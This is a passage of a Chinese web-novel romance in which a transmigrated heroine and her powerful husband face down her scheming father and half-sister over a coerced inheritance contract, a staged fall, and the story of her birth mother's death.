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>男人刻意回避着女人的视线,他面不改色:“当然,有沈总相助,内人的病定能很快好转。”
陶倩震惊地放大了瞳孔,“林道海你敢这么对我?我给你养育儿女这么多年?你怎么敢这么对我?”
她突如其想,将多年的心里话脱口而出,“好好,你早就想和我离婚了是吧,怪我这么多年没有给你生个儿子?你早就想了是吧。”
“爸爸?你别这样,是我不好我不会再闹脾气了,我嫁,葛洪而已,我嫁,你别送妈妈走,爸爸我求你了你别这样。”
女声哽咽,在整个别墅里无限放大。
她看向林知妤,眼底的仇恨不是假的。
若是没有人架着她,现在她就想上去撕了那张虚善的面孔,让砚礼哥哥看看她的真面目。
“林知妤,你说话啊,你就想看到这样是吧,看我们过得这么惨你就满意了?”
林道海不敢再让她们留下继续说话,他摆了摆手,“好了,送走吧。”
只要能保全集团,这点牺牲算不得什么。
大不了,之后再接她回来。
随后吩咐,“带小姐上楼。”
她苦苦哀求,抓着陶倩的衣角不放,“不要不要,妈妈,不要送妈妈走,爸爸我求你了,我愿意嫁,我嫁还不行吗?”
不明白怎么事情就发生到了现在这个地步。
早上她们一家人不是还在一个桌上吃饭吗?怎么就变成这样了?
“爸爸——”
沈砚礼不疾不徐道:“林总不仅公司业务需要沈某操心,家事也想包揽到沈家身上?”
林道海见林雨欣走了,才在沙发上坐下。
他面色平静仿佛刚才什么都没发生?“没有的事,砚礼见笑了,正好,这好不容易回来一趟,家里也没准备什么,我让阿姨随意做点,凑合着吃怎么样。”
从进来到现在,都没问过林知妤一声。
沈砚礼神情淡淡,他垂眸静静看了眼林知妤,手里使了点劲着重重握了她一下。
他什么表示都没有。
林道海却顿然明白。
他将问题抛到林知妤身上。
“知知,要不要留在家里吃饭呀?好久没回来了,我们一家人好好聚聚怎么样?”
林知妤的上半身都压在沈砚礼身上,心安理得地将他当做靠枕。
林家她不喜欢。
没了好戏可看,她显得不乐意搭理这些人。
问题突然抛到她身上,她心底没忍住幽幽。
一家人?你老婆不是被抓进神经病院了吗,你还有兴致和罪魁祸首一桌用餐?
我看你有这个兴致,楼上那位可没有。
我要真答应了,林雨欣当场就能掀桌,把菜倒她脑门上。
这种事还是离的远远的吧。
少女纤白的小指掩人耳目地在男人手背上点了点,她特意没看他,希望他能明白她的意思。
沈砚礼不紧不慢地将她的手心包紧,清冷的声线回绝了林道海的虚情假意。
林道海目光停留在两人身上,自然没有错过林知妤那微不可察地小动作。
他一向伪装的很好的面具出现了裂痕。
怎么就忘了呢,这孩子早和他离了心,林家靠她成不了大事。
35.第 35 章
林知妤将脸靠在沈砚礼肩头,她眯了眯眼觉得好困。
“好困。”
少女含糊的声线传进耳畔,她在他耳侧低低的道。
“我想睡觉,你应付他行不行,好了再叫我下来。”
她讨好般地用指腹搓了搓男人的手背。
沈砚礼漫不经心地摩挲了下她的指腹,好心答应了她,“好。”
她咧嘴轻笑,给他发好人卡,“嘿嘿,你人真好。”
然后便理所当然的罢工上楼当甩手掌柜,留下两个大男人独自对弈。
她非常放心沈砚礼,他一个人应付林道海简直是手到擒来。
用不着她操心。
好在她的房间还在,屋内的陈设还保持的不变,林道海还没傻到仍由林雨欣母女两将她的东西都霸占了去。
应该是想以此来挽留她和林家的关系。
她撇了撇嘴。
想的美。
“咔嚓”一声,她不放心的将门反锁,隔壁可有个大祸患。
保不齐会趁她睡着的时候进来偷袭。
林知妤不住感慨。
这一对母女的招数多了去的,现在陶倩被送走了,林雨欣更不可控了。
谁知道会对她做出什么伤天害理的事,小心谨慎点总没错。
书房内。
陈助将合同放至林道海桌前。
他不明所以,眼睛一瞬不瞬地盯着沈砚礼想瞧出他是何用意。
打开合同看了没两行就明白了沈砚礼的意思。
股权转让书,受益方是明晃晃的林知妤三个大字。
沈砚礼长腿交叠,他轻叩了叩扶手,面不改色:“林总,这次集团亏空不小吧。”
林道海也没想到他说的这么直白,半点委婉都没有,他有意遮瞒不想继续这个话题,“这……砚礼,刚回来我们还是先不谈这个事吧。”
沈砚礼不紧不慢掠了他一眼,“集团内部亏空,资产被无故转移,银行那边也压了贷款,这消息现在就发给媒体如何?”
他端坐于沙发上,黑瞳里的神色琢磨不清,林道海只觉得那冷冽的目光凝落在他脸上带着十足压迫感。
明明他年长他近三十岁,与他同处在一个空间里却没来由的对他产生畏惧。
陈助闻声将一纸合同和平板一并推到他眼前。
林道海顶着压力还没听完他说的话,心里就已经慌乱的不行,他知道沈家一定调查过他,但不知道竟然能查的这么彻底。
他颤颤巍巍接过平板,上面的内容令他大惊失色。
若是连这些东西都一起发给媒体,用不着半日他就要被警方带走问话了。
他尾音颤抖,“砚礼,这些都是葛总授意的呀,我是半点不知情。”
葛洪说只要给他开一条生产线出来,带出来的项目分红他算大头。
至于他要做什么?这么做那他都是不知情的呀。
谁知道他竟然会拿腐肉去做食品生产。
这要多少个林家都不够赔。
沈砚礼不动声色,他漫不经心地翻看着手里调查出的事故文件,“不知情?在你的集团,在你的生产线上,你这个不知情又有谁信呢?”
他已经慌不择路了,“不是,砚礼你一定要救救我啊,这事我真的不知情的呀。”
原以为只是公司亏空的问题,只要向沈家拿点资源资金就能解决了。
没想到,葛洪你真这是要害死我啊。
陈助附身将另一个合同摆在他面前,“沈总既然在这了,自然是有办法的,选择已经摆在你面前了,林总做好了,沈家能解决的,自然都帮你解决了。”
林道海迟疑的目光落在陈助身上,他心已经悬在半空,只能在他的目光下翻出合同,定睛一看。
遗产继承分配协议书。
他错愣地放大双眼。
这是要他,现在就做遗产规划?
他战战兢兢地将合同盖上,“砚礼啊,你这……这怕不是时候吧。”
沈砚礼不紧不慢地掀起眼皮,“现在不是时候,你认为什么时候是时候?”
“这……”
他面无表情,冷漠地音调像是在催他快点做出选择,“我来不是和你打商量的,林氏是死是活和沈家无关,林道海你应该庆幸知知对你还抱有希望。”
容不得林道海思考,“是是是,我都明白,是我亏待了她,遇见砚礼是她修来的好福气。”
他把合同签下。
沈家现在是他唯一的后路了。
东西在知知手上,就等于在沈家手里,他们断不会让自己的产业亏损的。
这样对林家也是好事。
大不了,把家里的房子都留给欣欣。
欣欣很懂事,一定会理解他都的。
陈助翻看仔细翻看了合同,确认没问题了才向沈砚礼点了点头。
原身的卧室她也算是半个月的熟客了,她仔细对比过林雨欣的卧室。
小是小了点,但该有的也有,只不过是稍比她的质量和成色都逊色了点,凑合着过活倒是挑不出毛病。
林道海为人最是好面,在外立的是亲和顾家人设,所以在饮食起居上原身应该是没有过的像灰姑娘一样惨。
林知妤大字状躺在床上,鼻尖还能闻到被子上还存有淡淡的阳光暴晒后的清新气息,想来是林道海特意吩咐的。
讨好她不就是讨好沈家吗。
狐假虎威原来是这种感觉,爽!
她翻滚了一圈。
熟悉的空气熟悉大床还没有叽叽喳喳的俩母女。
随即心满意足地阖上眼。
这下不会再有人打扰她睡觉了吧!
门板啪的一声砸到墙上时,林知妤半梦半醒,她眼底含着朦胧迷糊地睁开眼。
意识还未完全清醒,她还没来得及将脑海里刚续满的睡意驱散,一盆凉水直愣愣地就朝她泼来。
她抹了一把眼睛上的水懵了半响。
林知妤慢半拍的抬眸看向门前满脸恨意的林雨欣。
她顿了顿,没来由地感慨:这个世界的水绝对都克她。
林雨欣一把将盆摔到地上,“你满意了?看见我妈妈被带走你就满意了?”
“砚礼哥哥是我的!是你横刀夺爱夺走了属于我的东西,你怎么还能这么心安理得?”
林知妤拧了拧头发上的水,“不是大姐。”
“我叫你姐还不行吗?”
“人不是说了吗?沈家一开始定的叫林知妤的那女的。”
她真的不理解她的脑回路,沈家什么时候说过要她了。
她唇角抿直,毫不客气地怼了回去,“你不是叫林雨欣吗?你什么时候又改名了?这么喜欢我啊?非要和我一个名?”
林雨欣冷哼了一声,看向她的眼神里充满鄙夷,“三年前国外暴乱,是砚礼哥哥怕我危险一路相助,送我回国,我们三年
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前就已经定情了,是你插足了这段感情,你跟你妈妈一样是个小三你懂不懂?”
林知妤挑了挑眉,
噢,还有这一趴呢?可以啊。
这小说真是该有的都有噢,半点没落。
她很快反问:“他亲自送你回国的?”
“……对。”
看她支支吾吾地样,就知道事实和她说的一定差的百八十米远。
她叹了口气,“犹犹豫豫干什么?不会是叫陈助送的吧?”
林雨欣恼羞成怒,“你管这么多干嘛?”
衣服湿呼呼的粘着皮肤,她撑着手爬起来,站在床边将衣服和皮肤拉开距离。
水珠落在地面的滴答滴答声随着女声一起传在整个房间。
她拖长着尾音,毫不客气地嘲讽,“噢,那看来连陈助都不是了,那是谁啊?”
她半句没停,接二连三地反问,“沈砚礼当时和你说了什么吗?他怎么和你私定终身的啊?没有具体过程具体对话吗?”
唉,这个时候应该听听反方发言。
说来也是,每次被泼水的时候,这个反方都不在。
跟故意的一样。
这个世界的女人找茬怎么都从水开始?
她抽空想了想楚诗意,那个大小姐不会也是吧?
林雨欣看着床前狼狈不堪的女人,她一声嗤笑,“怎么?别人的爱情故事你就这么感兴趣吗?感兴趣到去插足?”
林知妤翻了翻白眼,“不是大妹子,咱们有话好好说嘛,你说我插足,那你倒是说说你们之间的开头正文结尾啊,你倒是说说啊?”
“那我还说我和我老公上辈子就认识了呢,我们恩爱一辈子,以至于到死了还承诺了这辈子还要继续爱呢。”
“林知妤!”
林雨欣小她四岁,正是嗓音最好的时候,女声尖锐大有要穿破她耳膜的意思。
她伸手制止了她,“可以了,你打扰我睡觉我都不说什么了,你能不能清醒一点?人一没说直言,二没给你承诺的。”
“你就凭什么一句送你回国,人家就是和你私定终身了吗?”
“你要不要这么搞笑。”
林雨欣:“林知妤!”
“好了!我知道我的名字,你别叫了。”
她瞥了一眼,门锁上明晃晃挂着钥匙。
怪不得说进来就进来了。
忘记也是你家了,你说这事闹的。
水盆被随意扔在地上,林知妤踏过就想走。
再不走就来不及了。
她想到那日在订婚宴上的场景。
这次只是水,一会亮出把刀来那都是说得过去的事。
这姑娘疯起来是真疯,她一个人惹不起。
还是得借个老虎的势。
沈砚礼!救命!
“林知妤,你和你妈一个样,都喜欢抢别人的男人,原先是爸爸,现在是砚礼哥哥。”
见她年幼,林知妤耐心劝解。
“你这话就没意思了,我已经和你说清楚了凡事要讲证据,不能听风就是雨的。”
“有句话,你肯定没听说过。”
“男人多的事,别只揪着一个不放啊。”
没想到她这次答应的很快,“行,那你和沈砚礼离婚啊。”
林知妤想也不想,“不行。”
“沈砚礼是我的。”
她顿了顿,怕她又闹,“你换一个。”
36.第 36 章
屋内一瞬间静默无声。
林雨欣:“你……”
她开始和她打感情牌,“葛洪不好,是我们有目共睹的,你不想嫁给他,我更不想呀,你还有爱你的爸爸妈妈,可是我什么都没有了。”
“我要为我自己考虑。”
林雨欣一声冷哼,“我最讨厌你这副假惺惺的模样,表面说的冠冕堂皇,背地里干的都是些下三滥的手段。”
“姐姐用了不少手段哄得砚礼哥哥和你领证吧,这得用多少衣服才能唤来一个男人对你这样,一定不少做吧。”
林知妤冷下脸,“林雨欣,这种话不是随随便便就能说的。”
她不以为然:“哼,是,肯定没脱多少,毕竟你这是母胎传承的。”
林知妤皱了皱眉头。
她一向不喜欢听这些。
没了想和她沟通的心情,她脸沉了又沉。
顽固不灵,不打算再对她劝说。
她疾步快走,不愿意再和她待在一起,思虑着不久前沈砚礼还在一楼。
林知妤扶着扶手向楼下走去,半路她似想到了什么停在台阶上。
果然。
身后一阵拖鞋在地上跑动的啪嗒声响起,林雨欣尖鸣的怒意传到她耳畔,“林知妤,你去死。”
她默不作声地抓紧扶手,向里侧平身子。
尖细的女声在空旷的豪宅里响彻了半会才彻底噤声。
林雨欣蜷缩着身体在缓脚平台处停下了滚动的身体。
动静很快传到了书房,男人低沉焦急的声线传来。
“知知……”
林知妤抬头看去,还未开口。
缓台上刚停歇了没一会的身影又自顾自地往下滚去。
林知妤:“……”
你有没有为谁拼过命?
紧随男人颤哑的声线先传来的是他身上熟悉的味道,林知妤上前两步,在台阶上扶着他的手臂站稳。
林知妤耳朵贴着他的胸口,回头看了一眼下面不省人事的林雨欣。
她抬起头和他对视,刻意压低了嗓音暗暗威胁:“你给我等着。”
招蜂引蝶,四处招摇。
沈砚礼怔神迟疑,不明所以。
他长臂从身后环上她的手臂,皱着眉在她身上上下查看了一番。
她单薄的上衣紧贴着肌肤,因被水浸湿而变得几近透明,他脸沉了又沉。
宽大的外套下一秒就温暖的包裹了全身,林知妤下意识地贴近热源,靠的他更近了些。
恨不得整个人都融进他的骨血里。
他垂眸看着只留给她半张脸的小人,他嗓音低沉不耐,“她怎么你了?”
少女刘海沉重的贴着头皮,发丝上的水珠不断滑落至脸上,顺着脸颊滑下一段水痕。
水珠因为大动作猝不及防地滴进眼珠,她下意识地揉了揉,再睁开时眼睛里已经浸满了水色,遍布红丝。
似朵摇摇欲坠的娇花极惹让人怜惜。
沈砚礼心底都不自觉颤颤了,
她模糊着眼抬头看她,尾音长长,“她想推我下去。”
语调里带着遇到靠山后刻意放软的声线,像个小猫一样在他耳边撒娇。
每次出去玩回来都弄的一身伤的小猫。
“怎么了?”
陈助和林道海紧随其后。
“欣欣——”
果然,下一刻不出意外的就是男人哭天喊地的叫唤声。
楼梯口已经有佣人在查看,家庭医生已经在来的路上,林道海快步走下楼梯,在她身边急的不知如何是好。
林知妤双手都抵在沈砚礼胸口取暖,她埋下脸整个人被他圈在怀里,将身上的所有重量都压在他身上,还不满意再在他身上左右蹭着取暖。
他低头感受到身前的小人还在微微颤抖,搂着她的力道随即更紧了些,他俯下身将她拦腰抱起。
“先回去换身衣服。”
林知妤连连推他,对楼下的林雨欣念念不舍,“不要不要,她还醒着呢,绝对没晕。”
她视线隔空落在一楼,妄图看见林雨欣装模作样的身影。
滚下去这么慢,一个世纪一个台阶,能晕才有鬼了的。
绝对是装的,看我不揭发你。
沈砚礼不理,少女轻飘飘的一个抱在怀里,她那点劲使出来一点反应没有,她掀睫盯着他抗议。
男人沉着脸态度强硬将她抱回了卧室。
沈砚礼:“陈助会盯。”
“我不冷了真的,我刚才是骗你的。”她戳了戳他的胸膛,企图和他讲道理。
沈砚礼不搭理她。
“沈砚礼——”
“……”
“我生气啦。”
“我真的生气了……”
“……”
他一路走进浴室才将她放下了,依着门框不疾不徐地开口:“你动作快点还能看见她躺在地上的惨状。”
这声极其诱惑,林知妤和他小眼瞪大眼,考究他这话的可行性。
左右他挡着门口不让她走。
她沉吟片刻,拽着外套衣领一只手推着他,“那你快走快走。”
男人被推至门外,门被毫不留情地在他眼前合上。
他依着墙面含颌低笑。
水声哗哗流的时间不久,很快浴室内就没了动静。
林知妤光着身子站在镜子前眼睛眨了又眨。
她没拿衣服……
她轻叩了叩门,“沈砚礼……”
“你在吗?”
“沈砚礼——”
门外不见动静。
她抿了抿唇,在犹豫要不要自己出去拿。
没等她下定决心,沈砚礼就敲响了门板,“开门,我递给你。”
林知妤被他吓了一跳,她稳了稳心跳开了个小小的缝伸手去拿。
她一只手拿不完,衣服顺着手心滑下,沈砚礼及时接住给她挂在手腕上。
男声音调极淡不见情绪地提议,“先拿一点。”
林知妤看不到他的脸,不知道他现在是什么神情,她听话的拿了两件进来再伸手把剩下的拿完。
她看着被衣裙包裹着的内衣没出息地红了脸,手心里的衣物仿佛都带着他身上的温度,像在隔空和他牵手。
她紧了紧手心,耳根都被染上了绯红。
“啊啊啊啊。”
浴室一阵小声尖叫后,动静方才平歇。
沈砚礼没走,他动作优雅地摩挲着指尖潮湿的温意,喉结微动,盯着指端意味不明。
林知妤捏着衣角走出。
沈砚礼坐在书桌前等她。
男人垂眸翻看着桌上的玩偶,林知妤一瞬间愣了神。
他是怎么能在一堆原身的物件中准确无误的找到属于她自己的那一个。
他神色认真,眼睫安安静静地落在玩偶身
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上,清隽的侧脸自带冷峻气场,但林知妤就是不怕他,从见到他的第一面就没让她挪过眼。
“我好啦。”
轻柔的女声在静谧的屋内响起,林知妤伸出手去。
沈砚礼神色自然地接住了她,他握着她的手心,“这是你的吗?”
林知妤点了点头,“这么多东西里面只有这个是我的,你怎么找出来的啊。”
“林道海给的?”
他没回答她的问题,默不作声将娃娃正面朝下,将她揽过环在腿上抱着。
林知妤摇了摇头,“不是,我当时穿过来的那几天,正好他们家宴我抽到的。”
沈砚礼抚着她的手臂沉默不语。
“怎么了?”林知妤歪着脑袋低头瞧他。
“没事,走吧。”
“不是想看?”他话音一转,意有所指。
林知妤眸子艳光涟漪,连连点头,“好。”
“这个带回去吧。”他淡淡扫过一眼娃娃。
林知妤顺着他的目光点了点头。
也好,她的东西就不用留在林家了。
独属于林雨欣的闹剧还未停歇,家庭医生把她抬到了房间里。
他们出门左转就到,门口大敞,里屋的场况尽收眼底。
林雨欣双眼紧闭,不声不响地在床上装死,林道海满脸悲痛坐在椅子上沉默不语。
看着这对做戏手到擒来的父女,林知妤抿嘴偷笑。
她也想加入他们,现在就想牵着沈砚礼的手到林雨欣面前,扒开她的眼让她仔细看着。
气不死她。
“爸爸,妹妹她怎么样了?”她走到林道海身边,含着突如其来地哭腔问道。
林道海看到他们来了,叹息回应,“医生说她轻微脑震荡,睡一会就好了。”
“都怪我,不该和妹妹拌嘴,早知道她这么喜欢阿砚,我就……我就不嫁给他了。”她整个身体靠着沈砚礼,抹着说来就来的泪水,哽咽的声音传进每个人的耳朵里。
少女掩着面,在他的胸膛哭腔做戏,“早知道,早知道她会伤这么严重,刚才就让她推我下去好了,只要我不躲开,就能替妹妹受伤了。”
沈砚礼静静扶着她,长指慢条斯理地摩挲着她的手臂。
他唇角扬起微不可察地弧度。
那天在化妆室也是这样吗?
“知知,你别这么说,不是你的错,都怪我没教导好她,让她被你阿姨教坏了,你放心等她醒来,我一定好好教训她一顿。”
“知知刚才没摔到吧?”
林知妤摇了摇头,“没有,谢谢爸爸,医生说妹妹什么时候能醒。”
家庭医生回复道:“快了,差不多该醒了。”
“好,我想看看妹妹。”
她轻轻点头,拉着沈砚礼走近,坐在她的床上将她面上凌乱的刘海别至耳后。
她对着林雨欣拉紧沈砚礼的手,故意道:“老公,你别牵着我了,让我好好看看妹妹。”
林雨欣的脸藏不住心事,随即抽动了一下。
少女更变本加厉,她晃了晃沈砚礼的手臂,眼波流转,“老公,你说妹妹一定会好起来的对吗?”
沈砚礼眼底不着痕迹地闪过一丝笑意,他轻抚过她的发丝,配合表演,“嗯,会的。”
不等她再说话,林雨欣霎地一下睁开眼,不出所料地尖叫声又响彻屋内。
“林知妤!”
37.第 37 章
女声尖锐明亮。
林雨欣猛地坐起将手推向林知妤。
未等她触及,沈砚礼眸底的笑意一瞬间淡没,率先将手中掌心扯回。
林知妤猝不及防地撞进男人怀里,她捂着生疼的额头,漂亮的眼睛在瞪着他,眸光中的色彩充斥着埋怨。
她刚想开口,身后音腔里带着委屈的女声不合时宜地响起。
林知妤惊喜回头。
“砚礼哥哥……”
林雨欣的视线不经意间扫过被大手护紧的细腰上,她不由得攥紧手底的床单,眼底一瞬间盈满了泪光。
一时间,屋内的目光都在沈砚礼身上凝聚。
林知妤额头也不疼了,她眸底泛光一脸兴奋地看向他。
等了这么久,终于到反方发言了。
沈砚礼居高临下地俯视她,“按照辈分,你应该叫我声姐夫。”
他不是第一次听见她这么叫了。
男声凉薄寡淡,临危不乱。
嗓音冷的让林雨欣的身子不自觉地颤了颤。
她泪水滑落,哽咽道:“你之前不是这样的……”
“你不是说过吗?你会娶我的……”
沈砚礼因她这话微微拧眉,说出的话带着十足的压迫感,“林小姐自重。”
林知妤仰头在看他,少女的心事在脸上暴露无遗,沈砚礼看也没看扶着她的后脑就将她按回。
少女不置可否,反正怎样都能看。
林雨欣眼泪汪汪,不明白他为什么现在又翻脸不认人了,“你不记得了吗?三年前国外暴乱,是你亲自让人送我回国的呀。”
亲自让人和我说你会娶我的。
为什么现在不承认了呢?
陈助在此时蓦地为老板开口:“林小姐,你说的三年前国外暴乱时我们沈总一直在老宅,那时正逢十五,老宅众人皆可为先生作证。”
林雨欣一脸不信,“怎么会?我明明看见你了,你的助理也说是你让他来的。”
她笃定的语气不像假的。
林知妤的目光在两人间来回移动。
陈助仍然义正言辞,“林小姐,沈总身边的随行助理只有我一人,我当时也不在国外。”
他肯定的模样让她感到挫败,“我……这……”
忽然想到了什么,她再次开口:“李助,对,他叫我喊他小李就好,怎么会没有呢,你骗我的是不是?”
“我明明看见你了,盈泰酒店酒场吧台,我看见你了。”
林知妤还嫌热闹不够大,她轻飘飘地也插上一句,“对啊她说你一定会娶她呢。”
说的可情真意切了。
沈砚礼垂眸看她,怎么会不明白她的心思,小姑娘不嫌事大罢了。
他嗓音徐徐,带着点无奈,“知知……”
林知妤眼尾弯弯。
她怎么会不知道是假的。
这一幕在林雨欣看来刺眼极了。
本该和砚礼哥哥站在一起的人是她。
盈满而溢的泪水欣然落下,她带着怨恨的眼神盯着林知妤,打断了两人,“砚礼哥哥,是你说的只要三年后我们家主动拿着婚约去找你,你就一定会娶我。”
沈砚礼眼睫掀起,淡淡睨了她一眼,“总裁办助理没有姓李的。”
即使有,这种事他也不会让人越俎代庖代他去说。
也不会和她说。
林道海见到他的那一刻,就安排人送来了额外的椅子。
见他不坐,自己也急忙起身,对上沈砚礼他总有一种遇到了上级无形的紧迫感。
沈砚礼掠过一眼屋内,旁若无人地牵着林知妤坐下。
这话说的已经很明白了。
不是他的助理,更不是他说的话。
但林雨欣还是不死心,她双眼通红,不敢相信这三年竟是自己自作多情。
“司机对,那个司机,我见过他,在订婚宴那天我还见过他,明明就是你沈家的人为什么不愿意承认呢。”
助理不认,那司机呢?
“他沈家的人就一定是我们沈总的吗?”
陈助一本正色,“林小姐的防范意识欠佳。”
林知妤在这句话中提取到关键信息,她收起散漫的神色,忽而变得认真,“你什么时候见过那个司机的?”
她认真的语气,有些把林雨欣吓了一跳,她目光怨怼不愿意回答她的问题。
不及移开视线,便察觉一道淡漠的目光落在她身上,抬眸对上少女上方男人冷冽的双瞳。
男人掌心搭着林知妤身后靠椅,他眼眸里隐隐有警告之意,在她脸上停留的片刻就让她感受到了万般寒戾。
她眸子猛地一缩。
是不同与林知妤的那份疏离,看她的目光里没有任何情绪,像是在看一个无关紧要的陌生人。
他就站在那,站在她的身后。
无形的给自己压力,在给她撑腰。
她不由得攥紧被子,明白这些东西都不属于自己。
顶着他凌厉的目光,她不情不愿:“订婚宴结束后,我看见他了,一路追着他到后门还看见了那个小陆总。”
“陆煜宸?”
林知妤秀眉蹙起,她抬眸撞进沈砚礼懒散的视线里,继而回头询问:“他和你说什么了?”
林雨欣支支吾吾,“他说……”
她抿唇瞄了一眼沈砚礼,咬咬牙一闭眼,大有一副豁出去了的模样,“他说……说砚礼哥哥对我情根深种,不惜违背老宅那位老先生的意愿也要娶我。”
她盯着被子,越说越小声,直到后面屋内一瞬间静默无声。
林知妤抬眸看向男人,不自觉轻笑了声,这种话不像是他会说出口的。
沈砚礼淡淡回视,对于少女调侃的笑意他不做回应。
“然后呢?怂恿你大闹订婚宴?为你们这段爱情应勇献身”没见沈砚礼反应,她含着笑率先打破这片沉静。
她都这么说了,还有什么不明白的了,这是织了张天大的一张网要套住沈砚礼。
接着林雨欣的造势,他能不动声色地毁掉沈砚礼在外高立的名声。
断不掉的旧缘,是未来妻子的内娣。
这话题能在贵圈经久不散,话资长谈。
林雨欣闭口不答。
“当时在化妆室他要是对你有意思,怎么还会不同意你的替婚要求?”
林知妤长叹一口气,觉得这姑娘没有脑子,一句话就能把她牵着走。
林雨欣红着眼,谁说她都不可以,就不能是林知妤。
她拔高了声调朝林知妤吼:“是他和我说砚礼哥哥会有办法取消这个婚约的,订婚宴没有举行就是在像我证明,他不会娶你。”
林知妤抽了抽嘴角:这蠢孩子。
“话也没说过,面也没见过,陆煜宸三言两语就骗你为他干了这么多。”
“还好订婚宴没继续,不然真中他下怀了。”
林道海听了这么久,也明白他们被人算计了,他恨铁不成钢,“你啊……”
怪不得她知道家里还有和沈家的一纸婚约,这事是好几代祖宗留下的约定,连他都不知道。
没想到是有心人利用。
“小女年幼,是我们没把她教好,好在及时止损,沈总看在知知的份上原谅她吧,我日后一定对
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她严加管教。”
他颤颤巍巍为林雨欣解围,断不能因为此事没了沈砚礼这棵大树。
沈砚礼神色淡然,他食指在椅上轻叩,若有所思:“及时止损……”
他声色不轻不重,却令在场的人都不自觉生出畏惧之心。
陈助在此时开口,“夫人如今是沈家当家主母,今天的事情若是传出去,伤了当家主母还能全身而退,那不是人人都可以欺我沈家?”
林道海明白他的意思,却仍不死心。
妻儿都被送走,那且不是落人口舌。
他额角冷汗滑落,还想让他改意,“沈总这……”
沈砚礼仍面不改色,他眸底毫无情绪,语气不容商量,“送走吧,嫁人出国,离开临江市。”
林雨欣大惊失色,“不要不要,不要爸爸,我不是故意的,我不要嫁给葛洪,不要进神经病院。”
她不能走,那都不去。
“我错了姐姐,我再也不会了,你放过我好不好?你要不解气你也泼我,你推我一次,不要送我走。”
“求你了姐姐,我给你磕头好不好?”
林雨欣说着就爬下床双膝朝林知妤跪下。
林知妤被她的作势吓了一跳,随即弹射起步逃到沈砚礼身后躲避,“你起来起来,有话好好说。”
小女孩又红了眼,她见过林道海对沈砚礼狗腿的模样。
他绝对会同意的。
像抛弃妈妈一样,毫不犹豫。
她不要,只得哭哭哀求。
“我不想走,求求你了姐姐。”
林知妤咽了咽口水,不知道怎么回答。
她戳了戳沈砚礼,将难题抛给他。
她不是大圣母,看她装个样子就会原谅她。
只不过是不清楚林雨欣对原身如何,这事沈砚礼肯定查过。
如果对她不好,那就马上发配她去非洲,一辈子都别回来了。
大学有信息差就算了,怎么都穿进小说里了还有。
林知妤又戳了戳他的手臂,隔着肩膀在他身后悄咪咪地问:“她之前对原来的林知妤好不好啊。”
他侧头,淡淡回答:“没做什么出格的事。”
林知妤认真的想了想,“那算了,给她点教训得了,就是个没被妈妈教好的小姑娘罢了。”
滚个楼梯都磨磨唧唧的,不像是干净利落干坏事的模样。
勉强原谅她吧。
沈砚礼扫了一眼在地上哭肿了眼的女人,对她的提议不置可否。
陈助随即开口:“林小姐没事就不要出门了,免得又做出些落人口实的事情。”
“倒时可就没有太太的求情了。”
林雨欣连连点头答应。
怎样都行,别送她走就行。
沈砚礼睥睨她的那一眼把她吓的严严实实,再不敢对他生有任何心思。
只想躲着他远远,唯恐下一秒她就要被送走。
好在他不再发难。
——
“这是什么?”
林知妤倒抽了一口凉气“遗产继承?林道海也同意签?”
果然是背靠大树好乘凉。
林道海死都要傍上的这棵大树果然名不虚传。
“百分之二十五的股份都给我,陶倩要是知道要被气死了。”
沈砚礼漫不经心:“股份在你手里,沈家才会保他的集团,他怎么会不愿意。”
林知妤想了想,“也是。”
这事林道海巴不得。
忽然想到了什么,她撑着扶手眸子凝光,“你还没和我说呢,林知妤的妈妈是个什么样的人呀。”
38.第 38 章
景韫,维廷市财经世家大小姐,含着金钥匙出生,一生遇到过的唯一苦难也就是嫁给林道海的那三年。
本是高岭之花却被拉入凡尘,而罪魁祸首却不以为意,在得到后便不再珍惜,转而和曾经的青梅竹马初恋陶倩算计她的个人财产。
景家是豪门贵族,多次劝解景韫无果后只能出此下策保护她。
奈何林道海的花言巧语,这份合约最后也没能签成。
要说他对景韫只是虚情假意那倒说不过去,在他猛烈追求时还不知道景韫的真实身份。
那时他正事业低谷,正逢遇到景韫,有她相助这低谷期并不难熬,两人也因此相爱。
公司事业稳定后,他便向景韫告白,也因此得知了她的真实身份。
那时的林家正值风头正茂时,景韫的家世只是两人感情间锦上添花的作用。
可好景不长,公司在他的管理下逐渐败落,景韫却不离不弃,甚至在此时对他求婚。
一个女孩子对他至此,林道海怎能不心动。
二人顺利完婚,在景家的帮助下林道海的公司扶摇直上,甚至在一年后成功上市。
林氏家族的人不知内情,看上了他的潜力,将家族集团交由他来打理。
两人也是在这时有了原身林知妤。
可他能力不足还爱装大头,项目全部亏本,将集团资金赔了个干净。
他不敢回家面对景韫,也就在此时遇到了陶倩。
在遇见景韫的一个月前他刚和陶倩因为家境差距问题分手。
两人在此见了家长商定婚事,因为家境问题在林家受尽冷嘲热讽,陶倩也因此赌气分手。
陶倩不算什么世家子女,当时在林家看来这样的女人配不上进林家的大门。
但今时不同往日,现在林家是林道海掌权,这些所谓的家世家境自然不再是两人在一起的阻碍。
当时的景韫临近生产期,面对集团困境他也豪不在意,依然在外与陶倩厮混,直到再无资金流动他才彻底慌了神。
正是愁眉不展之时,陶倩看出了他的心思。
两人相恋近十年,林道海的心思再没人比陶倩更懂了。
他早就看上了景韫的资产,苦于脸面碍在陶倩面前说出口,陶倩的主动提及让他有了可倾泻之地。
他一不做二不休,随即便开始行动,在景韫毫不知情的情况下将她名下资产全部转移。
用来填补了欠下的所有贷款和集团资金漏洞,然后拿着剩下的钱在外和陶倩花天酒地,夜不归宿。
孕期的女人最是敏感,景韫有所察觉却找不到蛛丝马迹,她几番以为是自己多心,却在敲定月子中心付款预订时,信用卡显示限额。
她心中警铃大作,连忙派人去查。
林道海的这些行为通通瞒不过她的暗访调查,全部暴露在她眼下。
看着眼前数百张陶倩和林道海的亲密合照,她一时急火攻心,挺着孕肚就去找二人的麻烦。
在酒店抓奸时,保镖按着两人分开,她一时不查被陶倩推倒引发早产。
还未对林道海发作,便在产室草草离开人世。
林道海还在事故中久久未缓过神,陶倩明白现在的林家扛不住景家的打击。
若是景家得到景韫亡故的真正原因,那她和林道海今后的日子都不会好过了。
她沉吟片刻,便催促着林道海将景韫生亡的事故伪装成意外,并将二人近日的所作所全都抹灭。
景家粗查一番无甚发现,又加上林道海的花言巧语,他们只得接受了亲女亡故的真相。
林知妤是林道海的女儿,一出生就害死了亲妈,这在景家眼里并不讨喜,起初还会随意过问几句,在办妥了景韫的丧事后便对她之后的日子不再上心。
只留下了一句承诺,她若长大成人接手林氏集团,今后若是集团出事,景家便还会对林氏施以援手。
这也就是为什么,林道海这么多年还好吃好喝的供着她这位前妻的女儿。
